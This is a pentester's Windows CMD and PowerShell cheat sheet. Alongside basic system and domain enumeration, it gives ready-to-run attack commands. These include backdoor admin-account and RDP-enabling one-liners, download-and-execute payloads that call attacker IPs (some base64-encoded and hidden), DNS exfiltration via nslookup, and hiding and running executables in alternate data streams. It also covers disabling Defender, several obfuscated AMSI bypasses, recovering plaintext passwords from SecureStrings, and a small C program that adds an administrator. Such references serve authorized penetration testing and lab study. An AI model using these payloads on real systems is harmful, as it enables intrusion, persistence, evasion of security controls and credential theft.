Windows useful command
Basic Win CMD for Pentesters¶
System info¶
Version and Patches info¶
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wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
Environment¶
Some env variables to highlight:
- COMPUTERNAME: Name of the computer
- TEMP/TMP: Temp folder
- USERNAME: Your username
- HOMEPATH/USERPROFILE: Home directory
- windir: C:\Windows
- OS:Windos OS
- LOGONSERVER: Name of domain controller
- USERDNSDOMAIN: Domain name to use with DNS
- USERDOMAIN: Name of the domain
Mounted disks¶
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(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
Defender¶
Recycle Bin¶
Processes, Services & Software¶
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schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
Domain info¶
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# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Logs & Events¶
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#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
Users & Groups¶
Users¶
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#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
Groups¶
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#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
List sessions¶
Password Policy¶
Credentials¶
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cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Persistence with users¶
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# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Network¶
Interfaces, Routes, Ports, Hosts and DNSCache¶
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ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall¶
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netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Shares¶
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net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Wifi¶
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netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
SNMP¶
Network Interfaces¶
ARP table¶
Download¶
Bitsadmin.exe
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bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
Certutil.exe
Find much more searching for Download in https://lolbas-project.github.io
Misc¶
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cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Bypass Char Blacklisting¶
DOSfuscation¶
Generates an obfuscated CMD line
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git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
Listen address ACLs¶
You can listen on http://+:80/Temporary_Listen_Addresses/ without being administrator.
Manual DNS shell¶
Attacker (Kali) must use one of these 2 options:
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sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Victim¶
for /f tokens technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server
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for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
You can also redirect the output, and then read it.
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whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Calling CMD from C code¶
C
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)¶
Examples taken from https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. There are a lot more in there!
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## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Basic PowerShell for Pentesters¶
Default PowerShell locations¶
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C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basic PS commands to start¶
PowerShell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Download & Execute¶
PowerShell
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Download & Execute in background with AMSI Bypass¶
PowerShell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Using b64 from linux¶
PowerShell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download¶
System.Net.WebClient¶
PowerShell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest¶
Wget¶
BitsTransfer¶
PowerShell
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand¶
PowerShell
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Execution Policy¶
Constrained language¶
AppLocker Policy¶
Enable WinRM (Remote PS)¶
PowerShell
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Disable Defender¶
PowerShell
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
AMSI bypass¶
amsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/
PowerShell
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Managed API Call Hooking¶
Check this post for detailed info and the code. Introduction:
This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.
The steps performing API cal hooking of .NET methods are:
- Identify the target method to hook
- Define a method with the same function prototype as the target
- Use reflection to find the methods
- Ensure each method has been compiled
- Find the location of each method in memory
- Overwrite the target method with instructions pointing to our malicious method
AMSI Bypass 3 - SeDebug Privilege¶
Following this guide & code you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads amsi.dll and disable it.
AMSI Bypass - More Resources¶
PS-History¶
PowerShell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Find a newer files¶
Options : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
PowerShell
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Get permissions¶
OS version and HotFixes¶
PowerShell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Environment¶
PowerShell
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value
Other connected drives¶
PowerShell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Recycle Bin¶
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Domain Recon¶
Users¶
PowerShell
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Secure String to Plaintext¶
PowerShell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Or directly parsing form XML:
PowerShell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO¶
PowerShell
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Groups¶
PowerShell
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Clipboard¶
Processes¶
Services¶
Password from secure string¶
PowerShell
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Scheduled Tasks¶
PowerShell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Network¶
Port Scan¶
PowerShell
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfaces¶
PowerShell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall¶
PowerShell
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Route¶
ARP¶
Hosts¶
Ping¶
PowerShell
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP¶
Converting the SDDL String into a Readable Format¶
PowerShell
PS C:\> ConvertFrom-SddlString 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Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
PowerView/SharpView¶
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
SharpView is a .NET port of PowerView
Quick enumeration¶
PowerShell
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
